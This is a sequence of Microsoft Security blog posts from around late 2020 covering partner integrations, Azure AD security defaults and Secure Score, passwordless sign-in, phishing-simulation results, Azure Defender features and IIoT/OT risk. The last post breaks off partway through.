Forcepoint has partnered with the Azure Active Directory team on a series of integrations designed to provide remote workers secure access to their cloud and legacy on-premise applications. Together, our integrated solutions combine the risk score calculated by Forcepoint’s Cloud Access Security Broker (CASB)—with Azure AD—to apply the appropriate conditional access policies tailored to each individual user risk.

Learn more about the Forcepoint products that integrate with Microsoft Azure, including the technical implementation and demonstrations of how Forcepoint risk adaptive protection influences the conditional access policies of a potentially compromised user:

• Data Loss Prevention (DLP) and Azure Active Directory Video.
• Next-Generation Firewall (NGFW) and Azure Active Directory Video.
• Forcepoint Behavioral Analytics (FBA) and Azure Active Directory Video.

Give your organization the control it needs to protect critical assets and data by combining Forcepoint with the power of Azure AD today.

About Forcepoint

Forcepoint is a leading user and data protection cybersecurity company, entrusted to safeguard organizations while driving digital transformation and growth. Our solutions adapt in real-time to how people interact with networks, data, and systems. Forcepoint provides secure access solutions without compromising employee productivity. For more information, visit forcepoint.com.

Forcepoint is a member of the Microsoft Intelligent Security Association.

To learn more about the Microsoft Intelligent Security Association (MISA), visit our website where you can learn about the MISA program, product integrations, and find MISA members. Visit the video playlist to learn about the strength of member integrations with Microsoft products.

For more information about Microsoft Security Solutions, visit the Microsoft Security website. Bookmark the Security blog to keep up with our expert coverage of security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Forcepoint and Microsoft: Risk-based access control for the remote workforce appeared first on Microsoft Security.

In the last post, we discussed Office 365 and how enabling certain features without understanding all the components can lead to a false sense of security. We demonstrated how implementing a break glass account, multi-factor authentication (MFA), and the removal of legacy authentication can help secure your users and point your organization’s security posture in the right direction. While implementing those controls is an excellent start to hardening your environment, it is just the beginning. Read that blog here.

Security is critical, and any way that we can expedite threat prevention is highly welcomed. What if there was a way to get into a more secure state quickly.  How much time would this give you back to focus your attention on other tasks like actual customers (user base, clients)?

Do you wish there was a quick approach for security configurations in Azure Active Directory (Azure AD) and Office 365? I know I do, and thankfully we have some options here, and they are Secure Score and security defaults. Many of our customers are not aware that these features exist, or if they are aware, they fail to take advantage of using them.

“This blog post will provide an overview of Microsoft Secure Score and security defaults—two features that are easy to utilize and can significantly improve your security in Azure AD and Office 365 configurations.” 

What is Microsoft Secure Score? I am glad you asked

Microsoft Secure Score is a measurement developed to help organizations understand where they are now and the steps needed to improve their security posture. Microsoft Secure Score summarizes the different security features and capabilities currently enabled and provides you with the ability to compare your Score with other companies like yours and identify recommendations for areas of improvement.

Figure 1: Microsoft Secure Score screen image

How does Secure Score help organizations?

Secure Score provides recommendations for protecting your organization from threats. Secure Score will:

• Objectively measure your identity security posture.
• Plan for security improvements.
• Review the success of your improvements.
• The Score can also reflect third-party solutions that have been implemented and have addressed recommended actions.
• The Secure Score reflects new services, thus keeping you up to date with new features and security settings that should be reviewed and if action on your part.

How is the Score determined?

Secure Score compares your organization’s configuration against anonymous data from other organizations with similar features to your organization, such as company size. Each improvement action is worth ten points or less, and most are scored in a binary fashion. If you implement the improvement action, like require MFA for Global Administrators or create a new policy or turn on a specific setting, you get 100 percent of the points. For other improvement actions, points are given as a percentage of the total configuration.

For example, an improvement action states you get ten points by protecting all your users with multi-factor authentication. You only have 50 of 100 total users protected, so that you would get a partial score of five points.

Additionally, your score will drop if routine security tasks are not completed regularly or when security configurations are changed. It will provide directions to the security team about what has changed and the security implications of those changes.

What are security defaults?

Security defaults, a one-click method for enabling basic identity security in an organization, are pre-configured security settings that help defend organizations against frequent identity-related attacks, such as password spray, replay, and phishing. Some of the critical features of Security Defaults include:

• Requiring all users to register for Azure AD Multi-Factor Authentication (MFA) using the Microsoft Authenticator app.
• Requiring administrators to perform multi-factor authentication.
• Blocking legacy authentication protocols.
• Requiring users to perform multi-factor authentication when necessary.
• Protecting privileged activities like access to the Azure portal.

When should you use security defaults?

It would be best if you used security defaults in the following cases:

• If you want to increase the overall security posture and don’t know how or where to start, security defaults are for you.
• If you are using the free tier of Azure Active Directory licensing, security defaults are for you.

How is the Score determined?

Microsoft Secure Score has recently added improvement actions to support security defaults in Azure Active Directory, making it easier to help protect your organization with pre-configured security settings for frequent attack vectors.

When you turn on security defaults, you will be awarded full points for the following improvement actions:

• Ensure all users can complete multi-factor authentication for secure access (nine points).
• Require MFA for administrative roles (ten points).
• Enable policy to block legacy authentication (seven points).

Get Started with Microsoft Secure Score and security defaults

Microsoft organizes Secure Score improvement actions into groups to help you focus on what you need to address for your organization:

• Identity (Azure AD accounts and roles).
• Data (Microsoft Information Protection).
• Device (Microsoft Defender ATP, known as Configuration score).
• Application (email and cloud apps, including Office 365 and Microsoft Cloud App Security).
• Infrastructure (no improvement actions for now).

Secure Score

• Start by logging into your Secure Score.
• View your scores and where you need to improve.
• Export all recommendations for your organization and turn this into an attack plan.
• Prioritize the recommendations you will implement over the next 30, 60, 90, and 180 days.
• Pick the tasks that are priorities for your organization and work these into your change control processes.

Security defaults

• Start by logging in to your  Azure portal as a security administrator, Conditional Access administrator, or global administrator.
• Browse to Azure Active Directory, and then Properties.
• Select Manage security defaults.
• Set the Enable security defaults, then toggle to Yes.
• Select Save.

Figure 2:  Enabling security defaults

There are many security enhancements that keep coming to Microsoft’s Cloud stack, so be sure you check your secure Score weekly. As the days go by and new security settings appear, your secure Score will reflect these changes. It is critical to check back often to ensure you are addressing any further recommendations.

Bumps in the road

Microsoft Secure Score and security defaults are straight forward ways to evaluate and improve your Azure AD and Office 365 configurations’ security. Security defaults help implement industry recommended practices, while Microsoft Secure Score creates a hands-on interface that simplifies the ongoing process of security assessment and improvement.

Our upcoming blog will explore the necessary built-in Azure tooling and open-source options that an organization can employ during investigative scenarios.

To learn more about Microsoft Security solutions visit our website.  Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post A “quick wins” approach to securing Azure Active Directory and Office 365 and improving your security posture appeared first on Microsoft Security.

As 2020 draws to a close, most of us are looking forward to putting this year in the rearview mirror. Since we depend even more on getting online for everything in our lives, we’re more than ready to be done with passwords. Passwords are a hassle to use, and they present security risks for users and organizations of all sizes, with an average of one in every 250 corporate accounts compromised each month. According to the Gartner Group, 20 to 50 percent of all help desk calls are for password resets. The World Economic Forum (WEF) estimates that cybercrime costs the global economy $2.9 million every minute, with roughly 80 percent of those attacks directed at passwords.

In November 2019 at Microsoft Ignite, we shared that more than 100 million people were already using Microsoft’s passwordless sign-in each month. In May of 2020, just in time for World Password Day, that number had already grown to more than 150 million people, and the use of biometrics to access work accounts is now almost double what it was then. We’ve drawn strength from our customers’ determination this year and are set to make passwordless access a reality for all our customers in 2021.

2020: A banner year for passwordless technology

February: We announced a preview of Azure Active Directory support for FIDO2 security keys in hybrid environments. The Fast Identity Online (FIDO) Alliance is a “cross-industry consortia providing standards, certifications, and market adoption programs to replace passwords with simpler, stronger authentication.” Following the latest FIDO spec, FIDO2, we enabled users with security keys to access their Hybrid Azure Active Directory (Azure AD) Windows 10 devices with seamless sign-in, providing secure access to on-premises and cloud resources using a strong hardware-backed public and private-key credential. This expansion of Microsoft’s passwordless capabilities followed 2019’s preview of FIDO2 support for Azure Active Directory joined devices and browser sign-ins.

June: I gave a keynote speech at Identiverse Virtual 2020 where I got to talk about how Microsoft’s FIDO2 implementation highlights the importance of industry standards in implementing Zero Trust security and is crucial to enabling secure ongoing remote work across industries. Nitika Gupta, Principal Program Manager of Identity Security in our team, showed how Zero Trust is more important than ever for securing data and resources and provided actionable steps that organizations can take to start their Zero Trust journey.

September: At Microsoft Ignite, the company revealed the new passwordless wizard available through the Microsoft 365 Admin Center. Delivering a streamlined user sign-in experience in Windows 10, Windows Hello for Business replaces passwords by combining strong MFA for an enrolled device with a PIN or user biometric (fingerprint or facial recognition). This approach gives you, our customers, the ability to deliver great user experiences for your employees, customers, and partners without compromising your security posture.

November: Authenticate 2020, “the first conference dedicated to who, what, why and how of user authentication,” featured my boss, Joy Chik, CVP of Identity at Microsoft, as the keynote speaker. Joy talked about how FIDO2 is a critical part of Microsoft’s passwordless vision, and the importance of the whole industry working toward great user experiences, interoperability, and having apps everywhere support passwordless authentication. November also saw Microsoft once again recognized by Gartner as a “Leader” in identity and access management (IAM).

MISA members lead the way

The Microsoft Intelligent Security Association (MISA) is an ecosystem of security partners who have integrated their solutions with Microsoft to better defend against increasingly sophisticated cyber threats. Four MISA members—YubiKey, HID Global, Trustkey, and AuthenTrend—stood out this year for their efforts in driving passwordless technology adoption across industries.

Yubico created the passwordless YubiKey hardware to help businesses achieve the highest level of security at scale.

“We’re providing users with a convenient, simple, authentication solution for Azure Active Directory.”—Derek Hanson, VP of Solutions Architecture and Alliances, Yubico

HID Global engineered the HID Crescendo family of FIDO-enabled smart cards and USB keys to streamline access for IT and physical workspaces—enabling passwordless authentication anywhere.

“Organizations can now secure access to laptops and cloud apps with the same credentials employees use to open the door to their office.”—Julian Lovelock, VP of Global Business Segment Identity and Access Management Solutions, HID

TrustKey provides FIDO2 hardware and software solutions for enterprises who want to deploy passwordless authentication with Azure Active Directory because: “Users often find innovative ways to circumvent difficult policies,” comments Andrew Jun, VP of Product Development at TrustKey, “which inadvertently creates security holes.”

AuthenTrend applied fingerprint-authentication technology to the FIDO2 security key and aspires to replace all passwords with biometrics to help people take back ownership of their credentials.

Next steps for passwordless in 2021

Our team has been working hard this year to join these partners in making passwords a thing of the past. Along with new UX and APIs for managing FIDO2 security keys enabling customers to develop custom solutions and tools, we plan to release a converged registration portal in 2021, where all users can seamlessly manage passwordless credentials via the My Apps portal.

We’re excited about the metrics we tracked in 2020, which show a growing acceptance of passwordless among organizations and users:

• Passwordless usage in Azure Active Directory is up by more than 50 percent for Windows Hello for Business, passwordless phone sign-in with Microsoft Authenticator, and FIDO2 security keys.
• More than 150 million total passwordless users across Azure Active Directory and Microsoft consumer accounts.
• The number of consumers using Windows Hello to sign in to Windows 10 devices instead of a password grew to 84.7 percent from 69.4 percent in 2019.

We’re all hoping the coming year will bring a return to normal and that passwordless access will at least make our online lives a little easier.

Learn more about Microsoft’s passwordless story. To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post A breakthrough year for passwordless technology appeared first on Microsoft Security.

The Terranova Security annual Gone Phishing Tournament wrapped up in October 2020, spanning 98 countries and industries including healthcare, consumer goods, transport, energy, IT, finance, education, manufacturing, and more. Using templates created from actual phishing attacks created by Microsoft Security, Terranova Security Awareness Training draws on principles of behavioral science to create content that changes user behavior. True to our mission, this year’s results reveal a lot about the state of cybersecurity at the human level—your organization’s first line of defense.

Tournament results

Terranova Security’s Gone Phishing Tournament is a free, annual cybersecurity event that takes place in October to coincide with National Cybersecurity Awareness Month. The Tournament tests real-world responses using a phishing email modeled on actual threats provided by Attack Simulation Training in Microsoft Defender for Office 365 (Office 365 Advanced Threat Protection). Click rates are segmented by industry, organization size, region, web browser, and operating system.

Using a template created from real phishing attacks, translated into 11 languages across 98 countries, the 2020 Gone Phishing Tournament revealed that organizations are taking phishing threats seriously, but with mixed results.

“There’s increasing crossover between our personal and work activities online. That’s why cybersecurity education and training needs to be an ongoing commitment.”—Vasu Jakkal, CVP, Security, Compliance and Identity Marketing, Microsoft

Figure 1: Password submission by industry

The average password submission rate across industries was 13.4 percent, with education employees taking the bait least often at just 7.9 percent. The highest password submission rate was among public sector employees at 20.7 percent.

Figure 2: Click and password submission rates by the size of the organization

The tournament results also showed there was not a great deal of variation when comparing organizations of varied sizes. For example, there was only a 9.2 percent difference in the number of people who clicked the phishing link and submitted passwords at organizations of fewer than 100 people, compared with those consisting of more than 3,000 employees. The results show that phishing attacks are not just a threat for smaller organizations with less sophisticated cybersecurity training—large organizations were even more vulnerable.

Ongoing attacks

In the new world of remote work, your people are your perimeter. Phishing provides hackers with a low-cost, low-risk form of social engineering with a potentially big payoff in the form of stolen passwords, leaked credentials, and access to sensitive data and intellectual property. Throughout 2020, opportunistic cybercriminals have been preying on distracted, overstressed remote workers by introducing COVID-19-themed phishing lures. The World Health Organization (WHO) has referred to the ongoing COVID-19 themed phishing attacks as an “infodemic.” By the summer of 2020, the Federal Trade Commission (FTC) had already recorded over 59,000 coronavirus or stimulus-related complaints resulting in over $74 million in losses.

The National Cyber Security Alliance (NCSA) is pushing back against the rise in cybercrime by building strong public and private partnerships that empower users to stay secure online.

“The Phishing Benchmark Global Report reinforces the need for the current work being done by organizations like Microsoft, Terranova Security, and the National Cyber Security Alliance. Real-world phishing simulations and engaging security awareness training help make organizations, employees, and everyday citizens aware of the growing risk of social engineering and phishing emails. We will continue working in partnership with industry and government to empower the global community towards becoming one that is more cyber aware.”—Kelvin Coleman, Executive Director of NCSA

Not all security awareness training is alike

To defend against increasingly sophisticated cyber threats, organizations need real-world training as a comprehensive internal campaign. Terranova Security Awareness Training includes gamification and interactive sessions designed to engage and can be localized to different geographies around the world.

Attack Simulation Training in Microsoft Defender for Office 365, delivered in partnership with Terranova Security, integrates simulations, training, and reporting. Terranova Security is excited to partner with Microsoft to deliver this differentiated, industry-leading solution, allowing our customers to detect, prioritize, and remediate phishing risk across their organizations. With Attack simulation training, customers can:

• Simulate real threats: Detect vulnerabilities with real lures and templates—automatically or manually send employees the phishing emails attackers have used against your organization. Then, reach out to users who fall for a phishing lure with personalized training content.
• Remediate intelligently: Quantify social engineering risks across employees and threat vectors to prioritize remedial training. Track your organization’s progress against a baseline and measure the behavioral impacts. Using user susceptibility metrics triggers automated repeat offender simulations and training for people who need extra attention.
• Improve security posture: Reinforce your human security system with targeted training designed to change employee behavior. Training can be customized and localized, including simulations tailored to your employee’s contexts—region, industry, function—with granular conditionality on harvesting. Cater to diverse learning styles with interactive nano-learning and micro-learning content.

If there is a common thread to be found in this year’s Gone Phishing Tournament results, it is that organizations of every size need to make integrated attack simulation and training a cornerstone of their cybersecurity program. Cybercriminals do not take days off, and neither should your simulation and training program.

To learn more about Microsoft Security solutions visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Terranova Security Gone Phishing Tournament reveals continued weak spot in cybersecurity appeared first on Microsoft Security.

In the latest episode of my series, The Shiproom, I spoke with Kurt John, Chief Cybersecurity Officer (CISO) at Siemens USA. Kurt is listed in Security Magazine’s Top 10 most influential cybersecurity leaders, and he also serves on a special cybersecurity committee organized by the Under-Secretary-General of the United Nations.

As CISO for Siemens USA, Kurt describes his job as “leveraging cybersecurity through our value chain to protect the trust society has in us to solve the world’s most complex problems.” Siemens has embraced industry 4.0 and IoT, leading the way in automation for operational technology (OT). The company has been operating in the United States for 160 years and today has 50,000 employees. The responsibility to protect all the people, devices, and intellectual property (IP) rests on Kurt’s shoulders.

“I think movement to the cloud is inevitable,” Kurt tells me in our discussion. “It’s just way too cost-effective. You can scale quickly. But not all cloud providers are created equal.” According to Kurt, a good cloud provider should deliver three things: flexibility, control, and visibility. “You need to have your eyes on everything happening in the cloud. Whether it’s changing business conditions or a threat from an adversary; you need to be able to adjust.”

At one point, a scientist from the future interrupts our conversation (you had to be there) to ask Kurt about the challenges of balancing on-premises data vs. cloud storage: “You want the relationship between the cloud and the enterprise to be as seamless as possible,” Kurt replies. “What’s most important—how well does the cloud provider deploy security controls? I need to be able to wrap my hands around any incident through good protection and detective mechanisms, and good reporting.”

We also touched on how a diverse security team offers better protection against today’s diverse cyber threats. “Diversity in the team immediately skyrockets creativity. With a team that’s physically and cognitively diverse. It’s a wonder what we can accomplish together.”

Talking about building a strong security team lead to how mentorship can play a role, Kurt himself mentors college students who are considering a career in tech. “There’s a myth that working in cybersecurity requires you to be incredibly technical. That’s just not the case. Cybersecurity is as big as you make it.”

Watch the whole discussion on The Shiproom: Siemens USA.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Siemens USA CISO: 3 essentials to look for in a cloud provider appeared first on Microsoft Security.

As the world adapts to working remotely, the threat landscape is constantly evolving, and security teams struggle to protect workloads with multiple solutions that are often not well integrated nor comprehensive enough. This results in serious threats avoiding detection, as well as security teams suffering from alert fatigue.

Azure Defender helps security professionals with an integrated experience to meet your cloud workload protection needs spanning virtual machines, SQL, storage, containers, IoT, Azure network layer, Azure Key Vault, and more.

Today we are excited to announce we are adding two new protections with the preview of Azure Defender for Resource Manager and Azure Defender for DNS, cloud-native breadth threat protection solutions. These new protections continue to improve your resiliency against attacks from bad actors and increase the number of Azure resources protected by Azure Defender significantly.

Azure Defender for Resource Manager

Azure Resource Manager is the deployment and management service for Azure. It enables the creation and updating of all resources in your Azure account, with features, like access control, locks, and tags.

The cloud management layer is a crucial service-connected to all your cloud resources. Because of this, it is also a potential target for attackers. Consequently, we recommend security operations teams monitor the Resource Manager layer closely.

Azure Defender for Resource Manager will automatically monitor all resource management operations performed in your organization whether they are performed through the Azure portal, Azure REST APIs, Azure CLI, or other Azure programmatic clients. Defender runs advanced security analytics to detect threats and alert you when suspicious activity occurs.

Figure 1: Azure Defender for Resource Manager monitors resource management operations to protect your Azure environment.

Azure Defender for Resource Manager protects against issues including:

• Suspicious resource management operations, such as operations from suspicious IP addresses, disabling antimalware and suspicious scripts running in virtual machine extensions.
• Use of exploitation toolkits like Microburst or PowerZure.
• Lateral movement from the Azure management layer to the Azure resources data plane.

Learn more about Azure Defender for Resource Manager.

Azure Defender for DNS

Azure Defender for DNS provides an additional layer of protection for your cloud resources by continuously monitoring all DNS queries from your Azure resources and runs advanced security analytics to alert you when suspicious activity is detected.

Azure Defender for DNS protects against issues including:

• Data exfiltration from your Azure resources using DNS tunneling.
• Malware communicating with command and control server.
• Communication with malicious domains as phishing and crypto mining.
• DNS attacks—communication with malicious DNS resolvers.

Learn more about Azure Defender for DNS.

Get started for free today

Protect your entire Azure environment with a few clicks and enable Azure Defender for Resource Manager and Azure Defender for DNS. Both offerings are free during the preview period. Turn Azure Defender on now.

To learn more about Microsoft Security solutions and our Integrated Threat protection solution visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post New cloud-native breadth threat protection capabilities in Azure Defender appeared first on Microsoft Security.

This blog post is part of the Microsoft Intelligent Security Association (MISA) guest blog series. You can learn more about MISA here. 

Cybercriminals have ramped up their initial compromises through phishing and pharming attacks using a variety of tools and tactics that, while numerous, are simple and often go undetected. One technique that attackers continue to leverage to obfuscate their activity and remain undetected is dwell time.

Dwell is the time between the initial compromise and the point when the attack campaign is identified. While industry reports offer differing averages for dwell time, I have yet to see reporting that presents an average below the 50 to 60-day range. Read more about advanced endpoint protection and dwell time.

Bolster Your Advanced Endpoint Protection (AEP)

Download the Digital Defense white paper here.

While dwell times have slightly decreased as attackers become less patient, they are still significant enough to evade the plethora of security tools that exist today. The challenge with these tools is their inability to piece together attacker activity over long periods. By the time enough indicators of compromise (IoC) reveal themselves to be detected, it is often too late to prevent a breach. Most monitoring solutions look for attacker activity to identify a potential indicator of compromise. However, the best way to combat dwell time is to identify and eradicate dormant or nascent malware that stays well-hidden before they periodically activate.

A layered Solution

Frontline Active Threat Sweep (Frontline ATS), integrated with Microsoft Defender for Endpoint, identifies malware designed to actively evade EDR solutions. Frontline ATS is part of the Digital Defense Frontline.Cloud platform providing on-demand agentless threat detection that proactively analyzes assets for indications of a malware infection before other agent-based security tools can be deployed. When integrated, Frontline ATS augments Defender for Endpoint’s capabilities by identifying hidden IoCs without adding agents.

The ability to stay undetected for long periods of time is one of the most common and challenging tactics that attackers use to execute a successful breach. In addition, even when a security team using monitoring tools or an incident response (IR) service is able to detect a threat and clean up an infection, it is common to see it repeatedly resurface. This is because even though all active indicators of the threat have been investigated and addressed, if the initial, and often inactive, installation of malware is not discovered due to inactivity, it can later be re-activated to re-spark an infection. With Frontline ATS and Defender for Endpoint, security teams can find any source, artifact, or inactive remnants of malware that could restart the attack campaign. Defender for Endpoint and Frontline ATS provides comprehensive and unobtrusive advanced endpoint detection, protection, and response for drastically improving the security operations team’s effectiveness at preventing breaches.

To learn about the Digital Defense Frontline ATS integration with Microsoft Defender for Endpoint, please visit our listing in the Microsoft Azure Marketplace or visit Digital Defense to learn more.

To learn more about the Microsoft Intelligent Security Association (MISA), visit our website where you can learn about the MISA program, product integrations, and find MISA members. Visit the video playlist to learn about the strength of member integrations with Microsoft products.

For more information about Microsoft Security Solutions, visit the Microsoft Security website. Bookmark the Security blog to keep up with our expert coverage of security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Digital Defense integrates with Microsoft to detect attacks missed by traditional endpoint security appeared first on Microsoft Security.

As the industrial Internet of Things (IIoT) and operational technology (OT) continue to evolve and grow, so too, do the responsibilities of the Chief Information Security Officer (CISO). The CISO now needs to mitigate risks from cloud-connected machinery, warehouse systems, and smart devices scattered among hundreds of workstations. Managing those security risks includes the need to ensure safety in manufacturing, oil and gas facilities, public utilities, transportation, civic infrastructure, and more.

Analysts predict that we’ll have roughly 21.5 billion IoT devices connected worldwide in 2025, drastically increasing the surface area for attacks. Because embedded devices often go unpatched, CISO’s need new strategies to mitigate IIoT/OT risks that differ in crucial ways from those found in information technology (IT). The difference needs to be understood by your Board of Directors (BoD) and leadership team. Costly production outages, safety failures with injuries or loss of life, environmental damage leading to liability—all are potentially disastrous scenarios that have moved IIoT and OT to the center of cyber threat management.

An evolving threat landscape

Both IIoT and OT are considered cyber-physical systems (CPS); meaning, they encompass both the digital and physical worlds. This makes any CPS a desirable target for adversaries seeking to cause environmental contamination or operational disruption. As recent history shows, such attacks are already underway. Examples include the TRITON attack—intended to cause a serious safety incident—on a Middle East chemical facility and the Ukrainian electrical-grid attacks. In 2017, ransomware dubbed NotPetya paralyzed the mighty Maersk shipping line and nearly halted close to a fifth of the world’s shipping capacity. It also spread to pharma giant Merck, FedEx, and numerous European firms before boomeranging back to Russia to attack the state oil company, Rosneft.

In 2019, Microsoft observed a Russian state-sponsored attack using IoT smart devices—a VOIP phone, an office printer, and a video decoder—as entry points into corporate networks, from which they attempted to elevate privileges. Attackers have even compromised building access control systems to move into corporate networks using distributed denial-of-service (DDoS) attacks; wherein, a computer system is overwhelmed and crashed with an onslaught of traffic.

The current model

Since the 1990’s, the Purdue Enterprise Reference Architecture (PERA), aka the Purdue Model, has been the standard model for organizing (and segregating) enterprise and industrial control system (ICS) network functions. PERA divides the enterprise into various “Levels,” with each representing a subset of systems. Security controls between each level are typified by a “demilitarized zone” (DMZ) and a firewall.

Conventional approaches restrict downward access to Level 3 from Levels 4, 5 (and the internet). Heading upward, only Layer 2 or 3 can communicate with Layers 4 and 5, and the lowest two Levels (machinery and process) must keep their data and communications within the organization’s OT.

But in our IIoT era, data no longer flows in a hierarchical fashion as prescribed by the Purdue Model. With the rise of edge computing, smart sensors, and controllers (Levels O, 1) now bypass firewalls and communicate directly with the cloud, creating new risks for system exposure.

Modernizing this model with Zero Trust principles at Levels 4 and 5 can help bring an organization’s IIoT/OT into full compliance for the cloud era.

A new strategy

Consequence-driven cyber-informed engineering (CCE) is a new methodology designed by Idaho National Labs (INL) to address the unique risks posed by IIoT/OT. Unlike conventual approaches to cybersecurity, CCE views consequence as the first aspect of risk management and proactively engineers for potential impacts. Based on CCE, there are four steps that your organization—public or private—should prioritize:

1. Identify your “crown jewel” processes: Concentrate on protecting critical “must-not-fail” functions whose failure could cause safety, operational, or environmental damage.
2. Map your digital estate: Examine all the digital pathways that could be exploited by adversaries. Identify all of your connected assets—IT, IoT, building management systems (BMS), OT, smart personal devices—and understand who has access to what, including vendors, maintenance people, and remote workers.
3. Spotlight likely attack paths: Analyze vulnerabilities to determine attack routes leading to your crown jewel processes, including possible social engineering schemes and physical access to your facilities.
4. Mitigate and protect: Prioritize options that allow you to “engineer out” cyber risks that present the highest consequences. Implement Zero Trust segmentation policies to separate IIoT and OT devices from other networks. Reduce the number of internet-accessible entry points and patch vulnerabilities in likely attack paths.

Making the case in real terms

Your leadership and BoD have a vested interest in seeing a return on investment (ROI) for any new software or hardware. Usually, the type of ROI they want and expect is increased revenue. But returns on security software often can’t be seen in a quarterly statement. That means cybersecurity professionals have to present a solid case. Here are some straightforward benefits to investing in IIoT/OT cybersecurity software that you can take into the boardroom:

• Prevent safety or environmental costs: Security failures at chemical, mining, oil, transportation, or other industrial facilities can cause consequences more dire than an IT breach. Lives can be lost, and costs incurred from toxic clean-up, legal liability, and brand damage can reach into the hundreds of millions.
• Minimize downtime: As the NotPetya and LockerGoga attacks demonstrated, downtime incurs real financial losses that affect everyone—from plant personnel all the way up to shareholders.
• Stop IP theft: Companies in the pharmaceutical industry, energy production, defense, high-tech, and others spend millions on research and development. Losses from having their intellectual property stolen by nation states or competitors can also be measured in the millions.
• Avoid regulatory fines: Industries such as pharmaceuticals, oil/gas, transportation, and healthcare are heavily regulated. Therefore, they are vulnerable to large fines if a security breach in IIoT/OT causes environmental damage or loss of life.

The way forward

For today’s CISO, securing the digital estate now means being accountable for all digital security—IT, OT, IIoT, BMS, and more. This requires an integrated approach—embracing people, processes, and technology. A good checklist to start with includes:

• Enable IT and OT teams to embrace their common goal—supporting the organization.
• Bring your IT security people onsite so they can understand how OT processes function.
• Show OT personnel how visibility helps the cybersecurity team increase safety and efficiency.
• Bring OT and IT together to find shared solutions.

With attackers now pivoting across both IT and OT environments, Microsoft developed Azure Defender for IoT to integrate seamlessly with Azure Sentinel and Azure Sphere—making it easy to track threats across your entire enterprise. Azure Defender for IoT utilizes:

• Automated asset discovery for both new greenfield and legacy unmanaged IoT/OT devices.
• Vulnerability management to identify IIoT/OT risks, detect unauthorized changes, and prioritize mitigation.
• IIoT/OT-aware behavioral analytics to detect advanced threats faster and more accurately.
• Integration with Azure Sentinel and third-party solutions like other SIEMs, ticketing, and CMDBs.

Azure Defender for IoT makes it easier to see and mitigate risks and present those risks to your BoD. Microsoft invests more than USD1 billion annually on cybersecurity research, which is why Azure has more compliance certifications than any other cloud provider.

Plain language and concrete examples go far when making the case for IIoT/OT security software. Your organization should define what it will—and more importantly, will not—tolerate as operational risks. For example: “We tolerate no risk to human life or safety”; “no permanent damage to the ecosystem”; “no downtime that will cost jobs.” Given the potential for damages incurred from downtime, injuries, environmental liability, or tarnishing your brand, an investment in cybersecurity software for IIoT/OT makes both financial and ethical sense.

To learn more about Microsoft Security solutions, visit our website.  Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us at @MSFTSecurity for the latest news and updates on cybersecurity.

The post Addressing cybersecurity risk in industrial IoT and OT appeared first on Microsoft Security.

This year, we have seen five significant security paradigm shifts in our industry. This includes the acknowledgment that the greater the diversity of our data sets, the better the AI and machine learning outcomes. This diversity gives us an advantage over our cyber adversaries and improves our threat intelligence. It allows us to respond swiftly and effectively, addressing one of the most difficult challenges for any security team. For Microsoft, our threat protection is built on an unparalleled cloud ecosystem that powers scalability, pattern recognition, and signal processing to detect threats at speed, while correlating these signals accurately to understand how the threat entered your environment, what it affected, and how it currently impacts your organization. The AI capabilities built into Microsoft Security solutions are trained on 8 trillion daily threat signals from a wide variety of products, services, and feeds from around the globe. Because the data is diverse, AI and machine learning algorithms can detect threats in milliseconds.

All security teams need insights based on diverse data sets to gain real-time protection for the breadth of their digital estates. Greater diversity fuels better AI and machine learning outcomes, improving threat intelligence and enabling faster, more accurate responses. In the same way, a diverse and inclusive cybersecurity team also drives innovation and diffuses group think.

Jason Zander, Executive Vice President, Microsoft Azure, knows firsthand the advantages organizations experience when embracing cloud-based protections that look for insights based on diverse data sets. Below, he shares how they offer real-time protection for the breadth of their digital estates:

How does diverse data make us safer?

The secret ingredient lies in the cloud itself. The sheer processing power of so many data points allows us to track more than 8 trillion daily signals from a diverse collection of products, services, and the billions of endpoints that touch the Microsoft cloud every month. Microsoft analyzes hundreds of billions of identity authentications and emails looking for fraud, phishing attacks, and other threats. Why am I mentioning all these numbers? It’s to demonstrate how our security operations take petabytes’ worth of data to assess the worldwide threat, then act quickly. We use that data in a loop—get the signals in, analyze them, and create even better defenses. At the same time, we do forensics to see where we can raise the bar.

Microsoft also monitors the dark web and scans 6 trillion IoT messages every day, and we leverage that data as part of our security posture. AI, machine learning, and automation all empower your team by reducing the noise of constant alerts, so your people can focus on meeting the truly challenging threats.

Staying ahead of the latest threats

As the pandemic swept the globe, we were able to identify new COVID-19 themed threats—often in a fraction of a second—before they breached customers’ networks. Microsoft cyber defenders determined that adversaries added new pandemic-themed lures to existing and familiar malware. Cybercriminals are always changing their tactics to take advantage of recent events. Insights based on diverse data sets empower robust real-time protection as our adversaries’ tactics shift.

Microsoft also has the Cyber Defense Operations Center (CDOC) running 24/7. We employ over 3,500 full-time security employees and spend about $1 billion in operational expenses (OPEX) every year. In this case, OPEX includes all the people, equipment, algorithms, development, and everything else needed to secure the digital estate. Monitoring those 8 trillion signals is a core part of that system protecting our end users.

Tried and proven technology

If you’re part of the Microsoft ecosystem—Windows, Teams, Microsoft 365, or even Xbox Live—then you’re already benefitting from this technology. Azure Sentinel is built on the same cybersecurity technology we use in-house. As a cloud-native security information and event management (SIEM) solution, Azure Sentinel uses scalable machine learning algorithms to provide a birds-eye view across your entire enterprise, alleviating the stress that comes from sophisticated attacks, frequent alerts, and long resolution time frames. Our research has shown that customers who use Azure Sentinel achieved a 90 percent reduction in alert fatigue.

Just as it does for us, Azure Sentinel can work continuously for your enterprise to:

• Collect data across all users, devices, applications, and infrastructure—both on-premises and in multiple clouds.
• Detect previously undetected threats (while minimizing false positives) using analytics and threat intelligence.
• Investigate threats and hunt down suspicious activities at scale using powerful AI that draws upon years of cybersecurity work at Microsoft.
• Respond to incidents rapidly with built-in orchestration and automation of common tasks.

Diversity equals better protection

